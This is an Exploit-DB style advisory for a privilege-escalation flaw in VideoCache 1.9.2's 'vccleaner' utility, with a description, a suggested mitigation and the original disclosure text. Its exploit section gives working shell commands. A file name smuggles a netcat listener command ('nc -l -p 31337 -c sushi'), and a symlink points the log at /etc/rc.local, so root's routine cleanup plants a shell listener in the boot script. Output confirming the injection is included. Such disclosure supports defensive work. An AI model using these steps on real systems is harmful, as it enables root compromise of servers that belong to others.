VideoCache 1.9.2 Privilege Escalation Vulnerability

vendor:

VideoCache

by:

Anonymous

7.2

CVSS

HIGH

Privilege Escalation

264

CWE

Product Name: VideoCache

Affected Version From: 1.9.2002

Affected Version To: 1.9.2002

Patch Exists: NO

Related CWE: N/A

CPE: a:videocache:videocache:1.9.2

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

VideoCache 1.9.2 Privilege Escalation Vulnerability

VideoCache's 'vccleaner' utility is intended to be executed with root permissions periodically, to remove expired videos from the cache. Upon execution, it looks for old files under the cache directory /var/spool/videocache (writable by the Squid proxy user) and deletes them. An attacker with the privileges of the Squid proxy server can append semi-arbitrary data to arbitrary files with root privileges, upon the administrator's execution of the 'vccleaner' utility.

Mitigation:

Restrict access to the 'vccleaner' utility to only trusted users and ensure that the Squid proxy user does not have write access to the /var/spool/videocache directory.

Source

Exploit-DB raw data:

====[ SYNOPSIS ]=====================================================

VideoCache is a Squid URL rewriter plugin written in Python for 
bandwidth optimization while browsing video sharing websites.  Version 
1.9.2 allows a user with the privileges of the Squid proxy server to 
append semi-arbitrary data to arbitrary files with root privileges, upon 
the administrator's execution of the 'vccleaner' utility.


====[ DISCUSSION ]===================================================

VideoCache's 'vccleaner' utility is intended to be executed with root 
permissions periodically, to remove expired videos from the cache.
(The utility will refuse to execute without root permissions.)
Upon execution, it looks for old files under the cache directory
/var/spool/videocache (writable by the Squid proxy user) and deletes
them.  Each deleted filename is logged to vccleaner.log, located in 
/var/log/videocache (directory writable by the Squid proxy user).


====[ EXPLOIT ]======================================================

.........................attacker.........................
$ id
uid=13(proxy) gid=13(proxy) groups=13(proxy)
$ cd /var/log/videocache
$ touch -d 19700101 "/var/spool/videocache/youtube/money

    nc -l -p 31337 -c sushi
    monkey"

$ rm -f vccleaner.log
$ ln -s /etc/rc.local vccleaner.log

.........................admin.........................
# id
uid=0(root) gid=0(root) groups=0(root)
# vccleaner
Videocache cleaning has completed successfully.

.........................postmortem.........................
$ cat /etc/rc.local
2009-12-16 06:56:29,403 INFO START Starting Videocache Cleaner.
2009-12-16 06:56:29,403 INFO DELETE /var/spool/videocache/youtube/money
nc -l -p 31337 -c sushi
monkey Older than 14594 day(s) was deleted.
2009-12-16 06:56:29,404 INFO STOP Stopping Videocache Cleaner.


====[ SHOUT OUTS ]===================================================

Tim, Ben, my buddies at GS, Alien Time Agent, and big man O.